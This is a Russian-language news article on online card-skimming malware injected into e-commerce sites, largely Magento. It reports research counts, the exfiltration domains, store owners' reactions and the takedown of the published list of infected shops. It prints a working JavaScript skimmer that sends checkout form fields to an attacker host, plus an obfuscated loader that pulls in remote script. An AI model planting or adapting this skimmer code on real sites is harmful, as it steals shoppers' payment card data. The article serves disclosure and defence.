![](https://habrastorage.org/files/f34/0fd/b9f/f340fdb9fb194d8cad3a0d6a73f6bb7a.jpg)
Онлайн-скимминг — относительно новая форма мошенничества с банковскими картами. Суть понятна из названия. Если обычный скиммер представляет собой накладку на картоприёмник ATM, который делает дамп магнитной полосы, то онлайн-скиммер — это программная закладка на сервере интернет-магазина, которая пассивно перехватывает платёжные данные во время их ввода пользователем в текстовые поля в браузере. До настоящего времени кардеры концентрировались преимущественно на серверах транзакций, где применяется шифрование, но в этом случае информация снимается ещё до шифрования. Затем информация о платёжных картах продаётся на подпольных форумах: обычно по этим картам постороннее лицо может без проблем осуществить платежи.
Специалисты по безопасности из Nightly Secure говорят, что онлайн-скимминг быстро набирает популярность в последнее время. Впервые о распространении такого мошенничества заговорили в 2015 году. На ноябрь 2015 года из списка 255 000 интернет-магазинов был обнаружен 3501 магазин с JS-закладками на сервере. За год их количество выросло на 69%.
Образец javascript-закладки для перехвата платёжных данных выглядит так (в данном случае информация отправляется на
http://ownsafety.org/opp.php
):<script>// <![CDATA[
// whitespace added for readability --wdg
function j(e) {
var t = "; " + document.cookie,
o = t.split("; " + e + "=");
return 2 == o.length ? o.pop().split(";").shift() : void 0
}
j("SESSIID") || (document.cookie = "SESSIID=" + (new Date).getTime()), jQuery(function(e) {
e("button").on("click", function() {
var t = "",
o = "post",
n = window.location;
if (new RegExp("onepage|checkout").test(n)) {
for (var c = document.querySelectorAll("input, select, textarea, checkbox"), i = 0; i < c.length; i++) if (c[i].value.length > 0) {
var a = c[i].name;
"" == a && (a = i), t += a + "=" + c[i].value + "&"
}
if (t) {
var l = new RegExp("[0-9]{13,16}"),
u = new XMLHttpRequest;
u.open(o, e("
<div />").html("http://ownsafety.org/opp.php").text(), !0), u.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), u.send(t + "&asd=" + (l.test(t.replace(/s/g, "")) ? 1 : 0) + "&utmp=" + n + "&cookie=" + j("SESSIID")), console.clear()
}
}
})
});
// ]]></script>
В прошлом году исследователи составили список наиболее часто используемых адресов для сбора данных:
1860 https://ownsafety.org/opp.php
390 http://ownsafety.org/opp.php
309 https://useagleslogistics.com/gates/jquery.php
100 https://redwiggler.org/wp-content/themes/jquerys.php
70 https://clickvisits.biz/xrc.php
28 https://gamula.eu/jquery.php
23 https://gamula.ru/order.php
22 https://news-daily.me/gt/
20 https://antaras.xyz/jquery.php
17 https://clicksale.xyz/xrc.php
10 https://ausfunken.com/service/css.php
9 http://www.dobell.com/var/extendware/system/licenses/encoder/mage_ajax.php
5 https://redwiggler.org/wp-content/themes/jquery.php
1 /js/index.php
1 /js/am/extensions/sitemap_api.php
1 https://infopromo.biz/lib/jquery.php
1 https://google-adwords-website.biz/gates/jquery.php
1 https://bandagesplus.com/order.php
1 http://nearart.com/order.php
1 http://happysocks.in/jquery.pl
Практически во всех случаях используются небольшие варианты одного и того же кода.
Подобную закладку довольно трудно обнаружить на сервере. Код загружается из CMS и работает в браузере. На упомянутых трёх с половиной тысячах сайтов в прошлом году она работала по несколько месяцев, на многих — полгода и больше.
Специалисты считают, что большое количество заражённых серверов указывает на высокую степень автоматизации атаки. Этим занимаются не какие-то скрипт-кидди, а хорошие профессионалы. Вероятно — из России.
Для внедрения закладок используются уязвимости в программном обеспечении интернет-магазинов. В первую очередь, это уязвимое программное обеспечение Magento Commerce. Именно через него проще всего внедрить код CMS, хотя на самом деле этот код может работать в любом интернет-магазине, не обязательно использующем Magento. Проверить интернет-магазин на наличие уязвимостей можно на сайте MageReports.com.
Хотя проблему подняли год назад, но за прошедший год она никуда не исчезла. Хуже того, заражённых интернет-магазинов стало в полтора раза больше. В марте 2016 года количество магазинов со скиммерами выросло с 3501 до 4476, а в сентябре 2016 года — до 5925.
Ребята из Nightly Secure опубликовали список всех заражённых магазинов, чтобы предупредить покупателей — и уведомить администраторов этих магазинов об уязвимости. Ведь среди них были довольно популярные сайты, в том числе отделения автопроизводителей (Audi ZA), правительственные организации (NRSC, Малайзия), сайты популярных музыкантов (Бьорк), и некоммерческие орагнизации (Science Museum, Washington Cathedral).
Если год назад практически во всех магазинах использовались небольшие модификации одного и того же онлайн-скиммера, то сейчас исследователи нашли уже 9 отдельных разновидностей скрипта, принадлежащих 3 разным семействам (образцы код на Github).
Злоумышленники поумнели и сейчас используют многоуровневую обфускацию кода, которую не так просто разобрать. Например, скрипт может маскироваться вот так:
![](https://habrastorage.org/files/6a9/412/0e2/6a94120e2bd847caa177a503d27c3ee1.png)
Реальный код зловреда:
<script language="javascript">window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72'+'\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x69\x70\x2e\x35\x75\x75\x38\x2e\x63\x6f\x6d\x2f\x69\x70\x2f\x69\x70\x5f'+'\x34\x30\x37\x39\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72'+'\x69\x70\x74\x3e');//4079</script>
Авторы также усовершенствовали механизм перехвата данных платёжных карточек. Если раньше зловред просто перехватывал страницы со строкой
checkout
в URL, то теперь он уже распознаёт популярные платёжные плагины Firecheckout, Onestepcheckout и Paypal.Специалисты из Nightly Secure попыталсь связаться с рядом магазинов (около 30) и сообщить им об установленном скиммере, но от большинства магазинов не получили ответа, а другие проявили удивительную беспечность. Один сказал, что это не его проблема, потому что платежи обрабатывает сторонняя компания. Второй сказал, что это просто ошибка Javascript, не представляющая угрозы. Третий вовсе сказал, что никакой опасности не может быть, потому что «магазин работает по HTTPS». Автор передал список магазинов со скиммерами в Google для помещения в чёрный список Chrome Safe Browsing.
Список всех магазинов со скиммерами был первоначально опубликован на Github. И вот тут началось самое интересное. Вскоре Github без предупреждения удалил со своего сайта публикацию результатов исследования онлайн-магазинов.
Судя по всему, Github осуществил цензуру по стандартной процедуре, получив DMCA-запрос от одного из магазинов. Конечно, магазину неприятно, когда у него находят уязвимость и рассказывают всему миру.
Вчера автор переместил результаты исследования безопасности интернет-магазинов на хостинг Gitlab. Сегодня страница по этому адресу возвращает ошибку 404. Несколько часов назад автор получил письмо от Gitlab, в котором объясняют причины удаления. По мнению администрации, публикация списка уязвимых магазинов рассматривается как «вопиющий случай», который не может быть разрешён. Поэтому список был удалён (UPD: доступ восстановлен, директор Gitlab принёс извинения).
Копия списка в веб-архиве
Копия на Pastebin
Заметим, что в списке магазинов с установленными онлайн-скиммерами перечислены 44 домена в зоне .RU.
Будем надеяться, что администраторы этих магазинов оперативно установят версию Magento с последними патчами и компенсируют убытки покупателям, у которых копии платёжных карточек утекли на чёрный рынок.